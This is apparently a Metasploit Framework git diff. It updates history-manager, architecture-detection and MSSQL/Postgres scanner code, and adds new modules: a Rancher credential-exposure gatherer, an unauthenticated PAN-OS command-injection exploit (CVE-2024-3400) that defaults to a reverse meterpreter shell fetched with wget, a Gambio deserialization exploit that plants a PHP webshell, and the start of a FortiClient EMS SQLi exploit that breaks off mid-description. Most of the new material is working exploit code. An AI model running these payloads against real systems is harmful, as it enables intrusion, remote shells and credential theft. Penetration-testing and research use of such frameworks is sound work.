ARCH_SPARC end elsif compile_arch.match?('arm') - arch = ARCH_AARCH64 + if compile_arch.match?('64') + arch = ARCH_AARCH64 + elsif compile_arch.match?('arm') + arch = ARCH_ARMLE + end elsif compile_arch.match?('64') arch = ARCH_X86_64 elsif compile_arch.match?('86') || compile_arch.match?('i686') arch = ARCH_X86 else - arch = '' + arch = compile_arch end arch diff --git a/lib/rex/ui/text/shell/history_manager.rb b/lib/rex/ui/text/shell/history_manager.rb index 6377a13fd69f..3d53a8c3c005 100644 --- a/lib/rex/ui/text/shell/history_manager.rb +++ b/lib/rex/ui/text/shell/history_manager.rb @@ -24,12 +24,10 @@ def initialize # # @param [String,nil] history_file The file to load and persist commands to # @param [String] name Human readable history context name - # @param [Symbol] input_library The input library to provide context for. :reline, :readline # @param [Proc] block # @return [nil] - def with_context(history_file: nil, name: nil, input_library: nil, &block) - # Default to Readline for backwards compatibility. - push_context(history_file: history_file, name: name, input_library: input_library || :readline) + def with_context(history_file: nil, name: nil, &block) + push_context(history_file: history_file, name: name) begin block.call @@ -67,9 +65,9 @@ def debug? @debug end - def push_context(history_file: nil, name: nil, input_library: nil) + def push_context(history_file: nil, name: nil) $stderr.puts("Push context before\n#{JSON.pretty_generate(_contexts)}") if debug? - new_context = { history_file: history_file, name: name, input_library: input_library || :readline } + new_context = { history_file: history_file, name: name } switch_context(new_context, @contexts.last) @contexts.push(new_context) @@ -93,69 +91,47 @@ def readline_available? defined?(::Readline) end - def reline_available? - begin - require 'reline' - defined?(::Reline) - rescue ::LoadError => _e - false - end - end - def clear_readline return unless readline_available? ::Readline::HISTORY.length.times { ::Readline::HISTORY.pop } end - def clear_reline - return unless reline_available? - - ::Reline::HISTORY.length.times { ::Reline::HISTORY.pop } - end - - def load_history_file(context) - history_file = context[:history_file] - history = context[:input_library] == :reline ? ::Reline::HISTORY : ::Readline::HISTORY + def load_history_file(history_file) + return unless readline_available? + clear_readline if File.exist?(history_file) - File.open(history_file, 'r') do |f| - f.each do |line| - chomped_line = line.chomp - if context[:input_library] == :reline && history.last&.end_with?("\\") - history.last.delete_suffix!("\\") - history.last << "\n" << chomped_line - else - history << chomped_line - end - end + File.readlines(history_file).each do |e| + ::Readline::HISTORY << e.chomp end end end - def store_history_file(context) - history_file = context[:history_file] - history = context[:input_library] == :reline ? ::Reline::HISTORY : ::Readline::HISTORY - - history_to_save = history.map { |line| line.scrub.split("\n").join("\\\n") } + def store_history_file(history_file) + return unless readline_available? + cmds = [] + history_diff = ::Readline::HISTORY.length < MAX_HISTORY ? ::Readline::HISTORY.length : MAX_HISTORY + history_diff.times do + entry = ::Readline::HISTORY.pop + cmds.push(entry) unless entry.nil? + end - write_history_file(history_file, history_to_save) + write_history_file(history_file, cmds) end def switch_context(new_context, old_context=nil) if old_context && old_context[:history_file] - store_history_file(old_context) + store_history_file(old_context[:history_file]) end if new_context && new_context[:history_file] - load_history_file(new_context) + load_history_file(new_context[:history_file]) else clear_readline - clear_reline end - rescue SignalException => _e + rescue SignalException => e clear_readline - clear_reline end def write_history_file(history_file, cmds) @@ -168,7 +144,7 @@ def write_history_file(history_file, cmds) cmds = event[:cmds] File.open(history_file, 'wb+') do |f| - f.puts(cmds) + f.puts(cmds.reverse) end rescue => e diff --git a/modules/auxiliary/gather/rancher_authenticated_api_cred_exposure.rb b/modules/auxiliary/gather/rancher_authenticated_api_cred_exposure.rb new file mode 100644 index 000000000000..79f11dfb4e79 --- /dev/null +++ b/modules/auxiliary/gather/rancher_authenticated_api_cred_exposure.rb @@ -0,0 +1,188 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Rancher Authenticated API Credential Exposure', + 'Description' => %q{ + An issue was discovered in Rancher versions up to and including + 2.5.15 and 2.6.6 where sensitive fields, like passwords, API keys + and Ranchers service account token (used to provision clusters), + were stored in plaintext directly on Kubernetes objects like Clusters, + for example cluster.management.cattle.io. Anyone with read access to + those objects in the Kubernetes API could retrieve the plaintext + version of those sensitive data. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die', # msf module + 'Florian Struck', # discovery + 'Marco Stuurman' # discovery + ], + 'References' => [ + [ 'URL', 'https://github.com/advisories/GHSA-g7j7-h4q8-8w2f'], + [ 'URL', 'https://github.com/fe-ax/tf-cve-2021-36782'], + [ 'URL', 'https://fe.ax/cve-2021-36782/'], + [ 'CVE', '2021-36782'] + ], + 'DisclosureDate' => '2022-08-18', + 'DefaultOptions' => { + 'RPORT' => 443, + 'SSL' => true + }, + 'Notes' => { + 'Stability' => [], + 'Reliability' => [], + 'SideEffects' => [] + } + ) + ) + register_options( + [ + OptString.new('USERNAME', [ true, 'User to login with']), + OptString.new('PASSWORD', [ true, 'Password to login with']), + OptString.new('TARGETURI', [ true, 'The URI of Rancher instance', '/']) + ] + ) + end + + def username + datastore['USERNAME'] + end + + def password + datastore['PASSWORD'] + end + + def rancher? + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'dashboard/'), + 'keep_cookies' => true + }) + return false unless res&.code == 200 + + html = res.get_html_document + title = html.at('title').text + title == 'dashboard' # this is a VERY weak check + end + + def login + # get our cookie first with CSRF token + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'v1', 'management.cattle.io.setting'), + 'keep_cookies' => true + }) + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") unless res.code == 200 + + json_post_data = JSON.pretty_generate( + { + 'description' => 'UI session', + 'responseType' => 'cookie', + 'username' => username, + 'password' => password + } + ) + fail_with(Failure::UnexpectedReply, "#{peer} - CSRF token not found in cookie") unless res.get_cookies.to_s =~ /CSRF=(\w*);/ + + csrf = ::Regexp.last_match(1) + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'v3-public', 'localProviders', 'local'), + 'keep_cookies' => true, + 'method' => 'POST', + 'vars_get' => { + 'action' => 'login' + }, + 'headers' => { + 'accept' => 'application/json', + 'X-Api-Csrf' => csrf + }, + 'ctype' => 'application/json', + 'data' => json_post_data + ) + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::NoAccess, "#{peer} - Login failed, check credentials") if res.code == 401 + end + + def check + return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service, or does not seem to be a rancher website") unless rancher? + + Exploit::CheckCode::Detected('Seems to be rancher, but unable to determine version') + end + + def run + vprint_status('Attempting login') + login + vprint_good('Login successful, querying APIs') + [ + '/v1/management.cattle.io.catalogs', + '/v1/management.cattle.io.clusters', + '/v1/management.cattle.io.clustertemplates', + '/v1/management.cattle.io.notifiers', + '/v1/project.cattle.io.sourcecodeproviderconfig', + '/k8s/clusters/local/apis/management.cattle.io/v3/catalogs', + '/k8s/clusters/local/apis/management.cattle.io/v3/clusters', + '/k8s/clusters/local/apis/management.cattle.io/v3/clustertemplates', + '/k8s/clusters/local/apis/management.cattle.io/v3/notifiers', + '/k8s/clusters/local/apis/project.cattle.io/v3/sourcecodeproviderconfigs' + ].each do |api_endpoint| + vprint_status("Querying #{api_endpoint}") + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, api_endpoint), + 'headers' => { + 'accept' => 'application/json' + } + ) + if res.nil? + vprint_error("No response received from #{api_endpoint}") + next + end + next unless res.code == 200 + + json_body = res.get_json_document + next unless json_body.key? 'data' + + json_body['data'].each do |data| + # list taken directly from CVE writeup, however this isn't how the API presents its so we fix it later + [ + 'Notifier.SMTPConfig.Password', + 'Notifier.WechatConfig.Secret', + 'Notifier.DingtalkConfig.Secret', + 'Catalog.Spec.Password', + 'SourceCodeProviderConfig.GithubPipelineConfig.ClientSecret', + 'SourceCodeProviderConfig.GitlabPipelineConfig.ClientSecret', + 'SourceCodeProviderConfig.BitbucketCloudPipelineConfig.ClientSecret', + 'SourceCodeProviderConfig.BitbucketServerPipelineConfig.PrivateKey', + 'Cluster.Spec.RancherKubernetesEngineConfig.BackupConfig.S3BackupConfig.SecretKey', + 'Cluster.Spec.RancherKubernetesEngineConfig.PrivateRegistries.Password', + 'Cluster.Spec.RancherKubernetesEngineConfig.Network.WeaveNetworkProvider.Password', + 'Cluster.Spec.RancherKubernetesEngineConfig.CloudProvider.VsphereCloudProvider.Global.Password', + 'Cluster.Spec.RancherKubernetesEngineConfig.CloudProvider.VsphereCloudProvider.VirtualCenter.Password', + 'Cluster.Spec.RancherKubernetesEngineConfig.CloudProvider.OpenstackCloudProvider.Global.Password', + 'Cluster.Spec.RancherKubernetesEngineConfig.CloudProvider.AzureCloudProvider.AADClientSecret', + 'Cluster.Spec.RancherKubernetesEngineConfig.CloudProvider.AzureCloudProvider.AADClientCertPassword', + 'Cluster.Status.ServiceAccountToken', + 'ClusterTemplate.Spec.ClusterConfig.RancherKubernetesEngineConfig.PrivateRegistries.Password', + 'ClusterTemplate.Spec.ClusterConfig.RancherKubernetesEngineConfig.Network.WeaveNetworkProvider.Password', + 'ClusterTemplate.Spec.ClusterConfig.RancherKubernetesEngineConfig.CloudProvider.VsphereCloudProvider.Global.Password', + 'ClusterTemplate.Spec.ClusterConfig.RancherKubernetesEngineConfig.CloudProvider.VsphereCloudProvider.VirtualCenter.Password', + 'ClusterTemplate.Spec.ClusterConfig.RancherKubernetesEngineConfig.CloudProvider.OpenstackCloudProvider.Global.Password', + 'ClusterTemplate.Spec.ClusterConfig.RancherKubernetesEngineConfig.CloudProvider.AzureCloudProvider.AADClientSecret', + 'ClusterTemplate.Spec.ClusterConfig.RancherKubernetesEngineConfig.CloudProvider.AzureCloudProvider.AADClientCertPassword' + ].each do |leaky_key| + leaky_key_fixed = leaky_key.split('.')[1..] # remove first item, + leaky_key_fixed = leaky_key_fixed.map { |item| item[0].downcase + item[1..] } # downcase first letter in each word + print_good("Found leaked key #{leaky_key}: #{data.dig(*leaky_key_fixed)}") if data.dig(*leaky_key_fixed) + end + end + end + end +end diff --git a/modules/auxiliary/scanner/mssql/mssql_hashdump.rb b/modules/auxiliary/scanner/mssql/mssql_hashdump.rb index cfac867a4f7b..0b19e3cb63e1 100644 --- a/modules/auxiliary/scanner/mssql/mssql_hashdump.rb +++ b/modules/auxiliary/scanner/mssql/mssql_hashdump.rb @@ -27,7 +27,12 @@ def run_host(ip) if session set_session(session.client) elsif !mssql_login(datastore['USERNAME'], datastore['PASSWORD']) - print_error('Invalid SQL Server credentials') + info = self.mssql_client.initial_connection_info + if info[:errors] && !info[:errors].empty? + info[:errors].each do |err| + print_error(err) + end + end return end @@ -79,7 +84,7 @@ def run_host(ip) unless is_sysadmin == 0 mssql_hashes = mssql_hashdump(version_year) - unless mssql_hashes.nil? + unless mssql_hashes.nil? || mssql_hashes.empty? report_hashes(mssql_hashes,version_year) end end @@ -89,14 +94,12 @@ def run_host(ip) # Stores the grabbed hashes as loot for later cracking # The hash format is slightly different between 2k and 2k5/2k8 def report_hashes(mssql_hashes, version_year) - case version_year when "2000" hashtype = "mssql" - when "2005", "2008" hashtype = "mssql05" - when "2012", "2014" + else hashtype = "mssql12" end @@ -107,12 +110,6 @@ def report_hashes(mssql_hashes, version_year) :proto => 'tcp' ) - tbl = Rex::Text::Table.new( - 'Header' => 'MS SQL Server Hashes', - 'Indent' => 1, - 'Columns' => ['Username', 'Hash'] - ) - service_data = { address: ::Rex::Socket.getaddress(mssql_client.peerhost,true), port: mssql_client.peerport, @@ -125,12 +122,15 @@ def report_hashes(mssql_hashes, version_year) next if row[0].nil? or row[1].nil? next if row[0].empty? or row[1].empty? + username = row[0] + upcase_hash = "0x#{row[1].upcase}" + credential_data = { module_fullname: self.fullname, origin_type: :service, private_type: :nonreplayable_hash, - private_data: "0x#{row[1]}", - username: row[0], + private_data: upcase_hash, + username: username, jtr_format: hashtype } @@ -146,8 +146,7 @@ def report_hashes(mssql_hashes, version_year) login_data.merge!(service_data) login = create_credential_login(login_data) - tbl << [row[0], row[1]] - print_good("Saving #{hashtype} = #{row[0]}:#{row[1]}") + print_good("Saving #{hashtype} = #{username}:#{upcase_hash}") end end @@ -164,8 +163,7 @@ def mssql_hashdump(version_year) case version_year when "2000" results = mssql_query(mssql_2k_password_hashes())[:rows] - - when "2005", "2008", "2012", "2014" + else results = mssql_query(mssql_2k5_password_hashes())[:rows] end diff --git a/modules/auxiliary/scanner/mssql/mssql_login.rb b/modules/auxiliary/scanner/mssql/mssql_login.rb index 68c603ee853d..20c854ed3c59 100644 --- a/modules/auxiliary/scanner/mssql/mssql_login.rb +++ b/modules/auxiliary/scanner/mssql/mssql_login.rb @@ -153,7 +153,7 @@ def run_host(ip) def session_setup(result) return unless (result.connection && result.proof) - my_session = Msf::Sessions::MSSQL.new(result.connection, { client: result.proof }) + my_session = Msf::Sessions::MSSQL.new(result.connection, { client: result.proof, **result.proof.detect_platform_and_arch }) merge_me = { 'USERPASS_FILE' => nil, 'USER_FILE' => nil, diff --git a/modules/auxiliary/scanner/mssql/mssql_schemadump.rb b/modules/auxiliary/scanner/mssql/mssql_schemadump.rb index bd4f5ad9ab8d..234cb54990ed 100644 --- a/modules/auxiliary/scanner/mssql/mssql_schemadump.rb +++ b/modules/auxiliary/scanner/mssql/mssql_schemadump.rb @@ -49,7 +49,11 @@ def run_host(ip) # Grab all the DB schema and save it as notes mssql_schema = get_mssql_schema - return nil if mssql_schema.nil? or mssql_schema.empty? + if mssql_schema.nil? or mssql_schema.empty? + print_good output if datastore['DISPLAY_RESULTS'] + print_warning('No schema information found') + return nil + end mssql_schema.each do |db| report_note( :host => mssql_client.peerhost, diff --git a/modules/auxiliary/scanner/postgres/postgres_login.rb b/modules/auxiliary/scanner/postgres/postgres_login.rb index 644e6bdbd3cb..a7f9cdd225fb 100644 --- a/modules/auxiliary/scanner/postgres/postgres_login.rb +++ b/modules/auxiliary/scanner/postgres/postgres_login.rb @@ -147,7 +147,7 @@ def rport def session_setup(result) return unless (result.connection && result.proof) - my_session = Msf::Sessions::PostgreSQL.new(result.connection, { client: result.proof }) + my_session = Msf::Sessions::PostgreSQL.new(result.connection, { client: result.proof, **result.proof.detect_platform_and_arch }) merge_me = { 'USERPASS_FILE' => nil, 'USER_FILE' => nil, diff --git a/modules/exploits/linux/http/panos_telemetry_cmd_exec.rb b/modules/exploits/linux/http/panos_telemetry_cmd_exec.rb new file mode 100644 index 000000000000..e3cc77ed4859 --- /dev/null +++ b/modules/exploits/linux/http/panos_telemetry_cmd_exec.rb @@ -0,0 +1,143 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Palo Alto Networks PAN-OS Unauthenticated Remote Code Execution', + 'Description' => %q{ + This module exploits two vulnerabilities in Palo Alto Networks PAN-OS that + allow an unauthenticated attacker to create arbitrarily named files and execute + shell commands. Configuration requirements are PAN-OS with GlobalProtect Gateway or + GlobalProtect Portal enabled and telemetry collection on (default). Affected versions + include < 11.1.0-h3, < 11.1.1-h1, < 11.1.2-h3, < 11.0.2-h4, < 11.0.3-h10, < 11.0.4-h1, + < 10.2.5-h6, < 10.2.6-h3, < 10.2.8-h3, and < 10.2.9-h1. Payloads may take up to + one hour to execute, depending on how often the telemetry service is set to run. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'remmons-r7', # Metasploit module + 'sfewer-r7' # Metasploit module + ], + 'References' => [ + ['CVE', '2024-3400'], # At the time of announcement, both vulnerabilities were assigned one CVE identifier + ['URL', 'https://security.paloaltonetworks.com/CVE-2024-3400'], # Vendor Advisory + ['URL', 'https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/'], # Initial Volexity report of the 0day exploitation + ['URL', 'https://attackerkb.com/topics/SSTk336Tmf/cve-2024-3400/rapid7-analysis'] # Rapid7 Analysis + ], + 'DisclosureDate' => '2024-04-12', + 'Platform' => [ 'linux', 'unix' ], + 'Arch' => [ARCH_CMD], + 'Privileged' => true, # Executes as root on Linux + 'Targets' => [ [ 'Default', {} ] ], + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp', + 'FETCH_COMMAND' => 'WGET', + 'RPORT' => 443, + 'SSL' => true, + 'FETCH_WRITABLE_DIR' => '/var/tmp', + 'WfsDelay' => 3600 # 1h, since telemetry service cronjob can take up to an hour + }, + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [ + IOC_IN_LOGS, + # The /var/log/pan/gpsvc.log file will log an unmarshal failure message for every malformed session created + # The NGINX frontend web server, which proxies requests to the GlobalProtect service, will log client IPs in /var/log/nginx/sslvpn_access.log + # Similarly, the log file /var/log/pan/sslvpn-access/sslvpn-access.log will also contain a log of the HTTP requests + # The "device_telemetry_*.log" files in /var/log/pan will log the command being injected + ARTIFACTS_ON_DISK + # Several 0 length files are created in the following directories during checks and exploitation: + # - /opt/panlogs/tmp/device_telemetry/hour/ + # - /opt/panlogs/tmp/device_telemetry/minute/ + # - /var/appweb/sslvpndocs/global-protect/portal/fonts/ + ] + } + ) + ) + + register_options( + [ + OptString.new('TARGETURI', [true, 'An existing web application endpoint', '/global-protect/login.esp']), + ] + ) + end + + def check + # Try to create a new empty file in an accessible directory with the exploit primitive + # This file name was chosen because an extension in (css|js|eot|woff|woff2|ttf) is required for correct NGINX routing, and similarly named files already exist in the 'fonts' directory + file_check_name = "glyphicons-#{Rex::Text.rand_text_alpha_lower(8)}-regular.woff2" + touch_file("/var/appweb/sslvpndocs/global-protect/portal/fonts/#{file_check_name}") + + # Access that file and a file that doesn't exist to confirm they return 403 and 404, respectively + res_check_created = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri('global-protect', 'portal', 'fonts', file_check_name) + ) + + return CheckCode::Unknown('Connection failed') unless res_check_created + + res_check_not_created = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri('global-protect', 'portal', 'fonts', "X#{file_check_name}") + ) + + return CheckCode::Unknown('Connection failed') unless res_check_not_created + + if (res_check_created.code != 403) || (res_check_not_created.code != 404) + return CheckCode::Safe('Arbitrary file write did not succeed') + end + + CheckCode::Vulnerable("Arbitrary file write succeeded: /var/appweb/sslvpndocs/global-protect/portal/fonts/#{file_check_name} NOTE: This file will not be deleted") + end + + def touch_file(file) + # Exploit primitive similar to `touch`, creating an empty file owned by root in the specified location + fail_with(Failure::BadConfig, 'Semicolon cannot be present in file name, due to the cookie injection context') if file.include? ';' + + send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path), + 'headers' => { + 'Cookie' => "SESSID=./../../../..#{file}" + } + ) + end + + def exploit + # Encode the shell command payload as base64, then embed it in the appropriate exploitation context + # Since payloads cannot contain spaces, ${IFS} is used as a separator + cmd = "echo${IFS}-n${IFS}#{Rex::Text.encode_base64(payload.encoded)}|base64${IFS}-d|bash${IFS}-" + + # Create maliciously named files in both telemetry directories that might be used by affected versions + # Both files are necessary, since it seems that some PAN-OS versions only execute payloads in 'hour' and others use 'minute'. + # It's possible that the payload will execute twice, but we've only observed one location working during testing + files = [ + "/opt/panlogs/tmp/device_telemetry/hour/#{Rex::Text.rand_text_alpha_lower(4)}`#{cmd}`", + "/opt/panlogs/tmp/device_telemetry/minute/#{Rex::Text.rand_text_alpha_lower(4)}`#{cmd}`" + ] + + files.each do |file_path| + vprint_status("Creating file at #{file_path}") + touch_file(file_path) + + # Must register for clean up here instead of within touch_file, since touch_file is used in the check + register_file_for_cleanup(file_path) + end + + print_status('Depending on the PAN-OS version, it may take the telemetry service up to one hour to execute the payload') + print_status('Though exploitation of the arbitrary file creation vulnerability succeeded, command injection will fail if the default telemetry service has been disabled') + end +end diff --git a/modules/exploits/multi/http/gambio_unauth_rce_cve_2024_23759.rb b/modules/exploits/multi/http/gambio_unauth_rce_cve_2024_23759.rb new file mode 100644 index 000000000000..e2e75a6b9a48 --- /dev/null +++ b/modules/exploits/multi/http/gambio_unauth_rce_cve_2024_23759.rb @@ -0,0 +1,241 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + include Msf::Exploit::FileDropper + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Gambio Online Webshop unauthenticated PHP Deserialization Vulnerability', + 'Description' => %q{ + A Remote Code Execution vulnerability in Gambio online webshop version 4.9.2.0 and lower + allows remote attackers to run arbitrary commands via unauthenticated HTTP POST request. + The identified vulnerability within Gambio pertains to an insecure deserialization flaw, + which ultimately allows an attacker to execute remote code on affected systems. + The insecure deserialization vulnerability in Gambio poses a significant risk to affected systems. + As it allows remote code execution, adversaries could exploit this flaw to execute arbitrary commands, + potentially resulting in complete system compromise, data exfiltration, or unauthorized access + to sensitive information. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die-gr3y ', # MSF module contributor + 'usd Herolab' # Discovery of the vulnerability + ], + 'References' => [ + ['CVE', '2024-23759'], + ['URL', 'https://attackerkb.com/topics/cxCsICfcDY/cve-2024-23759'], + ['URL', 'https://herolab.usd.de/en/security-advisories/usd-2023-0046/'] + ], + 'DisclosureDate' => '2024-01-19', + 'Platform' => ['php', 'unix', 'linux'], + 'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X64, ARCH_X86], + 'Privileged' => false, + 'Targets' => [ + [ + 'PHP', + { + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Type' => :php + } + ], + [ + 'Unix Command', + { + 'Platform' => ['unix', 'linux'], + 'Arch' => ARCH_CMD, + 'Type' => :unix_cmd + } + ], + [ + 'Linux Dropper', + { + 'Platform' => ['linux'], + 'Arch' => [ARCH_X64, ARCH_X86], + 'Type' => :linux_dropper, + 'CmdStagerFlavor' => ['wget', 'curl', 'bourne', 'printf', 'echo'], + 'Linemax' => 16384 + } + ], + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'SSL' => true, + 'RPORT' => 443 + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] + } + ) + ) + register_options([ + OptString.new('TARGETURI', [ true, 'The Gambia Webshop endpoint URL', '/' ]), + OptString.new('WEBSHELL', [false, 'Set webshell name without extension. Name will be randomly generated if left unset.', nil]), + OptEnum.new('COMMAND', + [true, 'Use PHP command function', 'passthru', %w[passthru shell_exec system exec]], conditions: %w[TARGET != 0]) + ]) + end + + def execute_php(cmd, _opts = {}) + payload = Base64.strict_encode64(cmd) + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, @webshell_name), + 'vars_post' => { + @post_param => payload + } + }) + end + + def execute_command(cmd, _opts = {}) + payload = Base64.strict_encode64(cmd) + php_cmd_function = datastore['COMMAND'] + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, @webshell_name), + 'vars_get' => { + @get_param => php_cmd_function + }, + 'vars_post' => { + @post_param => payload + } + }) + end + + def upload_webshell + # randomize file name if option WEBSHELL is not set + @webshell_name = (datastore['WEBSHELL'].blank? ? "#{Rex::Text.rand_text_alpha(8..16)}.php" : "#{datastore['WEBSHELL']}.php") + + # randomize e-mail address, firstname and lastname to be used in payload and POST requests + email = Rex::Text.rand_mail_address + email_array = email.split('@') + domain = email_array[1] + firstname = email_array[0].split('.')[0] + lastname = email_array[0].split('.')[1] + hostname = Rex::Text.rand_hostname + + # Upload webshell with PHP payload + @post_param = Rex::Text.rand_text_alphanumeric(1..8) + @get_param = Rex::Text.rand_text_alphanumeric(1..8) + + if target['Type'] == :php + php_payload = "" + else + php_payload = "" + end + + php_payload_len = php_payload.length + webshell_name_len = @webshell_name.length + domain_len = domain.length + hostname_len = hostname.length + final_payload = "O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":4:{s:36:\"\x00GuzzleHttp\\Cookie\\CookieJar\x00cookies\";a:1:{i:0;O:27:\"GuzzleHttp\\Cookie\\SetCookie\":1:{s:33:\"\x00GuzzleHttp\\Cookie\\SetCookie\x00data\";a:9:{s:7:\"Expires\";i:1;s:7:\"Discard\";b:0;s:5:\"Value\";s:#{php_payload_len}:\"#{php_payload}\";s:4:\"Path\";s:1:\"/\";s:4:\"Name\";s:#{hostname_len}:\"#{hostname}\";s:6:\"Domain\";s:#{domain_len}:\"#{domain}\";s:6:\"Secure\";b:0;s:8:\"Httponly\";b:0;s:7:\"Max-Age\";i:3;}}}s:39:\"\x00GuzzleHttp\\Cookie\\CookieJar\x00strictMode\";N;s:41:\"\x00GuzzleHttp\\Cookie\\FileCookieJar\x00filename\";s:#{webshell_name_len}:\"#{@webshell_name}\";s:52:\"\x00GuzzleHttp\\Cookie\\FileCookieJar\x00storeSessionCookies\";b:1;}" + final_payload_b64 = Base64.strict_encode64(final_payload) + + # create guest user to get a valid session cookie + # country variable should match with a configured tax country in the gambio admin panel + # grab the available tax country code settings from the CreateGuest form page + res = send_request_cgi!({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'shop.php?do=CreateGuest') + }) + if res && res.code == 200 + html = res.get_html_document + unless html.blank? + country_tax_options = html.css('select[@id="country"]') + country_tax_options.css('option').each do |country| + vprint_status("Application's tax country code setting required for exploitation: #{country['value']}") + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'shop.php?do=CreateGuest/Proceed'), + 'keep_cookies' => true, + 'vars_post' => { + 'firstname' => firstname, + 'lastname' => lastname, + 'email_address' => email, + 'email_address_confirm' => email, + 'b2b_status' => 0, + 'company' => nil, + 'vat' => nil, + 'street_address' => Rex::Text.rand_text_alpha_lower(8..12), + 'postcode' => Rex::Text.rand_text_numeric(5), + 'city' => Rex::Text.rand_text_alpha_lower(4..12), + 'country' => country['value'], + 'telephone' => Rex::Text.rand_text_numeric(10), + 'fax' => nil, + 'action' => 'process' + } + }) + next unless res && res.code == 302 + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'shop.php?do=Parcelshopfinder/AddAddressBookEntry'), + 'keep_cookies' => true, + 'vars_post' => { + 'checkout_started' => 0, + 'search' => final_payload_b64, + 'street_address' => Rex::Text.rand_text_alpha_lower(4..12), + 'house_number' => Rex::Text.rand_text_numeric(1..2), + 'additional_info' => nil, + 'postcode' => Rex::Text.rand_text_numeric(5), + 'city' => Rex::Text.rand_text_alpha_lower(8..12), + 'country' => 'DE', + 'firstname' => firstname, + 'lastname' => lastname, + 'postnumber' => Rex::Text.rand_text_numeric(6), + 'psf_name' => Rex::Text.rand_text_alpha_lower(1..3) + } + }) + break + end + end + end + res + end + + def check + print_status("Checking if #{peer} can be exploited.") + res = send_request_cgi!({ + 'method' => 'GET', + 'ctype' => 'application/x-www-form-urlencoded', + 'uri' => normalize_uri(target_uri.path) + }) + return CheckCode::Unknown('No valid response received from target.') unless res && res.code == 200 + + # Check if target is running a Gambio webshop + # Search for "Gambio" on the login page + return CheckCode::Safe unless res.body.include?('gambio') + + CheckCode::Detected('It looks like Gambio Webshop is running.') + end + + def exploit + print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") + res = upload_webshell + fail_with(Failure::PayloadFailed, 'Web shell upload error.') unless res && res.code == 500 + register_file_for_cleanup(@webshell_name) + + case target['Type'] + when :php + execute_php(payload.encoded) + when :unix_cmd + execute_command(payload.encoded) + when :linux_dropper + # Don't check the response here since the server won't respond + # if the payload is successfully executed. + execute_cmdstager({ linemax: target.opts['Linemax'] }) + end + end +end diff --git a/modules/exploits/windows/http/forticlient_ems_fctid_sqli.rb b/modules/exploits/windows/http/forticlient_ems_fctid_sqli.rb new file mode 100644 index 000000000000..35e1a26577a8 --- /dev/null +++ b/modules/exploits/windows/http/forticlient_ems_fctid_sqli.rb @@ -0,0 +1,194 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::Tcp + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'FortiNet FortiClient Endpoint Management Server FCTID SQLi to RCE', + 'Description' => %q{ + An SQLi injection vulnerability exists in FortiNet FortiClient EMS (Endpoint Management Server). + FortiClient EMS serves as an endpoint management solution tailored for enterprises, offering a centralized + platform for overseeing enrolled endpoints. The SQLi is vulnerability is due to user controller strings which + can be sent directly into database queries. + + FcmDaemon.exe is the main service responsible for communicating with enrolled clients. By default it listens on port 8013 + and communicates with FCTDas.exe which is responsible for translating requests and sending them to the database. + In the message header of a specific request sent between the two services, the FCTUID parameter is vulnerable + SQLi. The SQLi can used to enable the xp_cmdshell which can then be used to obtain unauthenticated remote code + execution in the context of NT AUTHORITY\SYSTEM + + Affected versions of FortiClient EMS include: + 7.2.0 through 7.2.2 + 7.0.1 through 7.0.10 + + Upgrading to either 